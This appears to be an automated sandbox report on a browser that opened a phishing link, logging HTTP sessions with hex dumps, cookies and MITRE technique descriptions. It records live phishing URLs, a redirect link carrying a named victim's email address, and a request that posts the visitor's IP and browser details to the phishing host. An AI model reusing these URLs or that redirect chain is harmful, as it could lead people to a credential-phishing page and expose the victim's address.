https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImpOQlowcXZ3SlptOHBzcHZoYXgzaGc9PSIsInZhbHVlIjoiRFJwcGo3NUEvWVFVdkR5dXdxd3doRzFibS93RXhYa05pVEZpUkp3eWhvbmd2QTVIaGs4dDZkK3FNQTV0Uy9DNXBXbE14ZWY2dWRLQUZmNU5vanlWcUozVjNHZXFKNVNSYjFsQzU1NGRlVU5TaXdWOWppYWppKzZzWTFhSE5FUzgiLCJtYWMiOiI1ZTY3Y2JlYzhiZGEwNWEyYjhmOGRjMjJkMDQ0ZTY2MzMyOWJiZjhjY2QwN2MwYjBjMThhNzM0ZGJjY2NkZGFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InkxMkVsN3I2Y3ZIck5JMXFQSXlUSWc9PSIsInZhbHVlIjoiVmQwTDlhd3VadjhVM1paOVVZbmZQc25hZkd2ZU9EUi84TnJsbTh2WGIwYzRLY25CUjkxcFNQbjVnMzJQaWR4YUZIcEZWcWFwMlM0aHV0OEVwdzkzVldaQTRsMmY0VnY2Wk5GWkpVODhaRzVqRitBK3l2UHRjcExtdDVkSHNyZngiLCJtYWMiOiIzNTk2ZWVhMDZjYTU4NjgxN2FiOTMxODIxZDAyZmU3NTllYjA5Mzk1Yjk1OGM5YjhmMDI2MjlkMjdkZDJlY2MzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:59 UTC	236	OUT	Data Raw: 70 61 67 65 6c 69 6e 6b 3d 6f 42 56 6c 5a 49 37 42 47 48 63 69 58 37 34 67 52 51 4b 7a 4e 77 25 33 44 25 33 44 26 74 79 70 65 3d 33 26 74 79 70 65 76 61 6c 3d 30 26 69 70 3d 38 2e 34 36 2e 31 32 33 2e 33 33 26 63 6f 75 6e 74 72 79 3d 55 6e 69 74 65 64 2b 53 74 61 74 65 73 26 75 73 65 72 61 67 65 6e 74 3d 4d 6f 7a 69 6c 6c 61 25 32 46 35 2e 30 2b 28 57 69 6e 64 6f 77 73 2b 4e 54 2b 31 30 2e 30 25 33 42 2b 57 69 6e 36 34 25 33 42 2b 78 36 34 29 2b 41 70 70 6c 65 57 65 62 4b 69 74 25 32 46 35 33 37 2e 33 36 2b 28 4b 48 54 4d 4c 25 32 43 2b 6c 69 6b 65 2b 47 65 63 6b 6f 29 2b 43 68 72 6f 6d 65 25 32 46 31 31 37 2e 30 2e 30 2e 30 2b 53 61 66 61 72 69 25 32 46 35 33 37 2e 33 36 26 61 70 70 6e 75 6d 3d 31 Data Ascii: pagelink=oBVlZI7BGHciX74gRQKzNw%3D%3D&type=3&typeval=0&ip=8.46.123.33&country=United+States&useragent=Mozilla%2F5.0+(Windows+NT+10.0%3B+Win64%3B+x64)+AppleWebKit%2F537.36+(KHTML%2C+like+Gecko)+Chrome%2F117.0.0.0+Safari%2F537.36&appnum=1
2024-08-23 14:22:00 UTC	1005	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:22:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l88maSnO%2FZHc0j8LgqK8TlbVYWL4qQ1mUjpySbCLuKobjA9sxAVes23NImT%2F0qcmMznie6gBI29iyJlc9LsGMj%2BGb24FpKBOs694xs94DC1uqeh2O6HZ4O0UzOZzvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6ImFjb3orSnZTdSt6Z3JwWUxqdWhWd2c9PSIsInZhbHVlIjoiUTJ0TmUzM3NaNGcxSmpGa2FCWGlkZGx0T0U5dE1LL21RNDdielBxM2oyK3M4NSsxRzBKQnJMN0dpU1hsZ1REcGswVU1QNUtVYnU3M2ZZNDNlMFRwMlFDY3RwYWF3STJsOG9GYk1DdHg2TmwxUnlZSFUyZ2dlT0RxSi8rc2VJWHciLCJtYWMiOiIxMzI0OGZiNjQyMGY1NDEwOWQ4NDdlYzM4Zjk5YmExY2Q4YmQ1NWZjMTVhN2JhNzI2YjJlMGVhMjNlMzFiNzBjIiwidGFnIjoiIn0%3D; expires=Fri, 23-Aug-2024 16:22:00 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-08-23 14:22:00 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 74 59 4d 6e 6c 4f 65 6e 68 32 54 6d 5a 43 55 6a 42 6e 56 48 42 46 59 57 39 4b 4c 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 54 64 54 62 30 56 4e 53 6e 41 76 4e 47 6b 30 54 6d 78 45 52 48 46 4d 51 33 4a 6d 57 6e 4d 77 52 48 6c 54 57 6d 35 4b 65 46 56 32 62 32 49 76 55 32 74 56 51 6e 55 35 52 7a 4a 4d 55 6c 52 70 55 30 51 77 4f 46 46 78 62 6d 56 36 61 33 67 30 56 6c 5a 61 63 47 74 31 61 57 64 4b 64 48 68 69 5a 30 78 6a 52 44 52 7a 62 31 68 51 55 47 70 55 63 32 31 48 62 56 5a 70 57 55 6c 43 55 6c 4d 33 65 6b 74 4f 53 45 77 33 63 32 34 78 54 6e 56 31 65 6b 4e 6d 5a 6b 4a 78 56 6b 46 61 61 33 5a 42 64 45 70 54 4e 48 52 45 57 55 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImtYMnlOenh2TmZCUjBnVHBFYW9KL0E9PSIsInZhbHVlIjoiNTdTb0VNSnAvNGk0TmxERHFMQ3JmWnMwRHlTWm5KeFV2b2IvU2tVQnU5RzJMUlRpU0QwOFFxbmV6a3g0VlZacGt1aWdKdHhiZ0xjRDRzb1hQUGpUc21HbVZpWUlCUlM3ektOSEw3c24xTnV1ekNmZkJxVkFaa3ZBdEpTNHREWUc
2024-08-23 14:22:00 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-08-23 14:22:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.16	49832	104.21.64.135	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:22:00 UTC	451	OUT	GET /cmwhNKwHmklilXCQnLOGZJZYiqyrdVIVCMLVPGNRGUOUYLUPAOUAGZHTXXERYRPZXPGQKQMCIBCEUIGAMONSEpqnZWaNKN7Fq8J4htH12yExBuv35 HTTP/1.1 Host: plsu.cacbbt.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:22:00 UTC	541	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:22:00 GMT Content-Length: 0 Connection: close vary: Origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XMOToPMdMZXGuQbN8Gw1y%2FIeLNnBnkYxvXQpascWq5KoHegMGT3xaq%2BIeWqjsgfro2GNi5MpuqSIUH1USUihOnCXdsPO5%2B9ivy5Huoh2HoTjRdiAMa74QTtHKvinwWueag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b7bc0934f194333-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.16	49831	152.199.21.175	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:22:00 UTC	693	OUT	GET /c1c6b6c8-qq3bnf8j1njkrpr2jp05vj9kvt-rzdcwbkgtoviv7bm/logintenantbranding/0/bannerlogo?ts=638464375259754991 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:22:00 UTC	651	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 17347 Cache-Control: public, max-age=86400 Content-MD5: 75VyprKpGhO72Ci93vLduA== Content-Type: image/* Date: Fri, 23 Aug 2024 14:22:00 GMT Etag: 0x8DC47F77124950F Last-Modified: Tue, 19 Mar 2024 09:32:06 GMT Server: ECAcc (lhc/78AF) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 8e3f00ed-001e-0004-473f-f5d9b0000000 x-ms-version: 2009-09-19 Content-Length: 47818 Connection: close
2024-08-23 14:22:00 UTC	16383	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 d6 00 00 01 23 08 06 00 00 00 16 a7 46 f1 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 ba 5f 49 44 41 54 78 5e ed 5d 05 80 1d d5 d5 fe 03 04 08 24 b8 bb 6b 71 6f 29 d2 16 29 85 52 68 b1 52 5a a0 54 90 d2 62 15 a0 50 2f 6d 91 60 71 77 21 9e 90 10 85 b8 10 23 4e 0c 09 90 84 84 24 90 e7 72 fe ef bb 33 b3 3b 3b ef ce 93 dd b7 9b 95 f3 b5 87 97 7d 6f e6 ce b5 b9 f7 bb e7 9e 7b ce ff 89 42 a1 50 28 14 0a 85 42 a1 a8 31 94 58 2b 14 0a 85 42 a1 50 28 14 65 80 12 6b 85 42 a1 50 28 14 0a 85 a2 0c 50 62 ad 50 28 14 0a 85 42 a1 50 94 01 4a ac 15 0a 85 42 a1 50 28 14 8a 32 40 89 b5 42 a1 50 28 14 0a 85 Data Ascii: PNGIHDR#FsRGBgAMAapHYsod_IDATx^]$kqo))RhRZTbP/m`qw!#N$r3;;}o{BP(B1X+BP(ekBP(PbP(BPJBP(2@BP(
2024-08-23 14:22:00 UTC	1	IN	Data Raw: 91 Data Ascii:
2024-08-23 14:22:00 UTC	16383	IN	Data Raw: fd 41 fe ac 2f 56 43 17 0e 18 98 80 77 c1 0b b4 6f fb a8 1c 82 72 f2 d3 b1 1f 84 d4 76 99 f1 22 d2 dd de d2 3c ee f6 be ef 77 b7 07 12 bc 2b f2 4a 1b 49 0e 02 9c 7c 2a 0f 24 16 1e dd bc 6b df 07 a9 be 9c 51 35 eb 2b a9 a6 a0 6e 0e c1 60 f5 d6 87 76 62 cd ad b5 7f cf 4d 4a f3 b0 41 bf a1 08 07 71 4c 50 fb b4 73 0e 9a fe 6a 62 52 5e 5f 98 92 01 ab 52 f2 c6 ea 94 74 40 3b ff 1e 0b 88 ab 86 c6 e5 20 be 87 b6 c1 bb 54 41 1a 07 60 41 3d fc 83 d2 b5 96 f5 09 b4 bf ff 1a 17 87 d4 56 07 cb 88 be cd 3a 6b ac f6 8d 85 d0 7d 79 5a f6 46 1b e7 bc 1b 35 20 d6 a3 d0 5f 0e b2 69 c1 29 2f 45 e4 e1 b7 69 56 e8 5e 5c 43 2c de 9c 91 a3 6c 24 1e 62 b6 d9 51 2e 46 25 e6 d8 dd ec f5 88 ec 89 71 9b 76 ad 8a f2 81 4d f9 e4 cc a4 d3 87 6c 63 6c 23 22 d6 d3 3f 4b cb 81 01 72 4c e7 Data Ascii: A/VCworv"<w+JI\|*$kQ5+n`vbMJAqLPsjbR^_Rt@; TA`A=V:k}yZF5 _i)/EiV^\C,l$bQ.F%qvMlcl#"?KrL
2024-08-23 14:22:00 UTC	15051	IN	Data Raw: 8f 46 e3 ef 53 6c d7 d7 27 c1 e2 ef 57 93 1a c8 a9 19 85 42 a1 50 ec 50 34 20 62 5d 87 a6 20 af 39 07 f0 3a 2e a6 96 ca 4e 36 48 d2 6e 05 f9 ad d0 b8 82 dc d1 cb 06 89 83 0d dc 1c a4 9d b2 63 e3 1c 95 9f bd 15 4e ac b9 1d b2 31 ea fe 66 25 3b ce 56 2e b5 68 86 90 f8 b5 95 20 51 7f 99 ed 91 51 fb bd 75 0f e7 99 1f 7e 99 31 f6 70 bb be 4a 22 e5 e6 37 4c 50 9f fb a0 3e 87 98 c3 7d b9 20 29 7b 88 87 29 b9 50 b1 dd ef 09 49 37 9e 75 60 c7 a8 39 0c ca 13 fa d4 bc d3 07 36 43 39 9b a8 51 20 7c 26 8a 64 be b4 90 c6 a9 3d 69 bb 9d 72 4d 34 9c 05 06 3f b9 f8 ea b6 2c 25 27 f0 00 98 b7 c8 41 bb 50 fb 4d 0d b6 ad ce 69 62 61 48 38 fa c3 53 d3 93 ee 4e 47 11 6d e3 f6 87 e9 9f a6 4d f0 92 a2 df 09 f4 0b 93 37 f6 57 4f f8 37 ca cc 05 a1 13 25 ac f8 85 96 0d 5c a0 fc 80 Data Ascii: FSl'WBPP4 b] 9:.N6HncN1f%;V.h QQu~1pJ"7LP>} ){)PI7u`96C9Q \|&d=irM4?,%'APMibaH8SNGmM7WO7%\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.16	49833	188.114.97.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:22:00 UTC	1121	OUT	GET /nz2XauxEJD6GOWIsNGbmhsISqkHYGospXOJ06xJDflJxNYAMTIpSqdz HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImFjb3orSnZTdSt6Z3JwWUxqdWhWd2c9PSIsInZhbHVlIjoiUTJ0TmUzM3NaNGcxSmpGa2FCWGlkZGx0T0U5dE1LL21RNDdielBxM2oyK3M4NSsxRzBKQnJMN0dpU1hsZ1REcGswVU1QNUtVYnU3M2ZZNDNlMFRwMlFDY3RwYWF3STJsOG9GYk1DdHg2TmwxUnlZSFUyZ2dlT0RxSi8rc2VJWHciLCJtYWMiOiIxMzI0OGZiNjQyMGY1NDEwOWQ4NDdlYzM4Zjk5YmExY2Q4YmQ1NWZjMTVhN2JhNzI2YjJlMGVhMjNlMzFiNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImtYMnlOenh2TmZCUjBnVHBFYW9KL0E9PSIsInZhbHVlIjoiNTdTb0VNSnAvNGk0TmxERHFMQ3JmWnMwRHlTWm5KeFV2b2IvU2tVQnU5RzJMUlRpU0QwOFFxbmV6a3g0VlZacGt1aWdKdHhiZ0xjRDRzb1hQUGpUc21HbVZpWUlCUlM3ektOSEw3c24xTnV1ekNmZkJxVkFaa3ZBdEpTNHREWUciLCJtYWMiOiIzZmVjNjEwZmQwN2ZiZmE2NDRmZTgxMDBmYWY4ODMxNjUzZmUzMWNlZDQ5ZjUwZWQ3YjJiOTRiNzUwMWUzMDc0IiwidGFnIjoiIn0%3D
2024-08-23 14:22:01 UTC	577	IN	HTTP/1.1 404 Not Found Date: Fri, 23 Aug 2024 14:22:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EVnSOwDbG%2FqrVetDxvTHriFDUgiPCNPmMlnm8KhGgUEbfr7z10Mh8vg7a3yKL3JrhLaPwJbpEYMmpY0lIMRp6%2FF9puod3nqEMBCydRICir23grDKCtLIsLleJbuqcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc097e8cc4304-EWR
2024-08-23 14:22:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.16	49834	152.199.21.175	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:22:01 UTC	454	OUT	GET /c1c6b6c8-qq3bnf8j1njkrpr2jp05vj9kvt-rzdcwbkgtoviv7bm/logintenantbranding/0/bannerlogo?ts=638464375259754991 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:22:01 UTC	651	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 17348 Cache-Control: public, max-age=86400 Content-MD5: 75VyprKpGhO72Ci93vLduA== Content-Type: image/* Date: Fri, 23 Aug 2024 14:22:01 GMT Etag: 0x8DC47F77124950F Last-Modified: Tue, 19 Mar 2024 09:32:06 GMT Server: ECAcc (lhc/78AF) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 8e3f00ed-001e-0004-473f-f5d9b0000000 x-ms-version: 2009-09-19 Content-Length: 47818 Connection: close
2024-08-23 14:22:01 UTC	16383	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 d6 00 00 01 23 08 06 00 00 00 16 a7 46 f1 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 ba 5f 49 44 41 54 78 5e ed 5d 05 80 1d d5 d5 fe 03 04 08 24 b8 bb 6b 71 6f 29 d2 16 29 85 52 68 b1 52 5a a0 54 90 d2 62 15 a0 50 2f 6d 91 60 71 77 21 9e 90 10 85 b8 10 23 4e 0c 09 90 84 84 24 90 e7 72 fe ef bb 33 b3 3b 3b ef ce 93 dd b7 9b 95 f3 b5 87 97 7d 6f e6 ce b5 b9 f7 bb e7 9e 7b ce ff 89 42 a1 50 28 14 0a 85 42 a1 a8 31 94 58 2b 14 0a 85 42 a1 50 28 14 65 80 12 6b 85 42 a1 50 28 14 0a 85 a2 0c 50 62 ad 50 28 14 0a 85 42 a1 50 94 01 4a ac 15 0a 85 42 a1 50 28 14 8a 32 40 89 b5 42 a1 50 28 14 0a 85 Data Ascii: PNGIHDR#FsRGBgAMAapHYsod_IDATx^]$kqo))RhRZTbP/m`qw!#N$r3;;}o{BP(B1X+BP(ekBP(PbP(BPJBP(2@BP(
2024-08-23 14:22:01 UTC	16383	IN	Data Raw: 91 fd 41 fe ac 2f 56 43 17 0e 18 98 80 77 c1 0b b4 6f fb a8 1c 82 72 f2 d3 b1 1f 84 d4 76 99 f1 22 d2 dd de d2 3c ee f6 be ef 77 b7 07 12 bc 2b f2 4a 1b 49 0e 02 9c 7c 2a 0f 24 16 1e dd bc 6b df 07 a9 be 9c 51 35 eb 2b a9 a6 a0 6e 0e c1 60 f5 d6 87 76 62 cd ad b5 7f cf 4d 4a f3 b0 41 bf a1 08 07 71 4c 50 fb b4 73 0e 9a fe 6a 62 52 5e 5f 98 92 01 ab 52 f2 c6 ea 94 74 40 3b ff 1e 0b 88 ab 86 c6 e5 20 be 87 b6 c1 bb 54 41 1a 07 60 41 3d fc 83 d2 b5 96 f5 09 b4 bf ff 1a 17 87 d4 56 07 cb 88 be cd 3a 6b ac f6 8d 85 d0 7d 79 5a f6 46 1b e7 bc 1b 35 20 d6 a3 d0 5f 0e b2 69 c1 29 2f 45 e4 e1 b7 69 56 e8 5e 5c 43 2c de 9c 91 a3 6c 24 1e 62 b6 d9 51 2e 46 25 e6 d8 dd ec f5 88 ec 89 71 9b 76 ad 8a f2 81 4d f9 e4 cc a4 d3 87 6c 63 6c 23 22 d6 d3 3f 4b cb 81 01 72 4c Data Ascii: A/VCworv"<w+JI\|*$kQ5+n`vbMJAqLPsjbR^_Rt@; TA`A=V:k}yZF5 _i)/EiV^\C,l$bQ.F%qvMlcl#"?KrL
2024-08-23 14:22:01 UTC	15052	IN	Data Raw: d8 8f 46 e3 ef 53 6c d7 d7 27 c1 e2 ef 57 93 1a c8 a9 19 85 42 a1 50 ec 50 34 20 62 5d 87 a6 20 af 39 07 f0 3a 2e a6 96 ca 4e 36 48 d2 6e 05 f9 ad d0 b8 82 dc d1 cb 06 89 83 0d dc 1c a4 9d b2 63 e3 1c 95 9f bd 15 4e ac b9 1d b2 31 ea fe 66 25 3b ce 56 2e b5 68 86 90 f8 b5 95 20 51 7f 99 ed 91 51 fb bd 75 0f e7 99 1f 7e 99 31 f6 70 bb be 4a 22 e5 e6 37 4c 50 9f fb a0 3e 87 98 c3 7d b9 20 29 7b 88 87 29 b9 50 b1 dd ef 09 49 37 9e 75 60 c7 a8 39 0c ca 13 fa d4 bc d3 07 36 43 39 9b a8 51 20 7c 26 8a 64 be b4 90 c6 a9 3d 69 bb 9d 72 4d 34 9c 05 06 3f b9 f8 ea b6 2c 25 27 f0 00 98 b7 c8 41 bb 50 fb 4d 0d b6 ad ce 69 62 61 48 38 fa c3 53 d3 93 ee 4e 47 11 6d e3 f6 87 e9 9f a6 4d f0 92 a2 df 09 f4 0b 93 37 f6 57 4f f8 37 ca cc 05 a1 13 25 ac f8 85 96 0d 5c a0 fc Data Ascii: FSl'WBPP4 b] 9:.N6HncN1f%;V.h QQu~1pJ"7LP>} ){)PI7u`96C9Q \|&d=irM4?,%'APMibaH8SNGmM7WO7%\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.16	49837	35.190.80.1	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:22:35 UTC	536	OUT	OPTIONS /report/v4?s=EVnSOwDbG%2FqrVetDxvTHriFDUgiPCNPmMlnm8KhGgUEbfr7z10Mh8vg7a3yKL3JrhLaPwJbpEYMmpY0lIMRp6%2FF9puod3nqEMBCydRICir23grDKCtLIsLleJbuqcQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://4quqe.oustfemin.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:22:35 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 23 Aug 2024 14:22:35 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.16	49838	35.190.80.1	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:22:36 UTC	475	OUT	POST /report/v4?s=EVnSOwDbG%2FqrVetDxvTHriFDUgiPCNPmMlnm8KhGgUEbfr7z10Mh8vg7a3yKL3JrhLaPwJbpEYMmpY0lIMRp6%2FF9puod3nqEMBCydRICir23grDKCtLIsLleJbuqcQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1325 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:22:36 UTC	1325	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 33 33 35 33 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 33 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 34 71 75 71 65 2e 6f 75 73 74 66 65 Data Ascii: [{"age":33531,"body":{"elapsed_time":1132,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"},"type":"network-error","url":"https://4quqe.oustfe
2024-08-23 14:22:36 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 23 Aug 2024 14:22:35 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	10:21:06
Start date:	23/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	10:21:07
Start date:	23/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2024,i,398591596935151455,854942371807318749,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

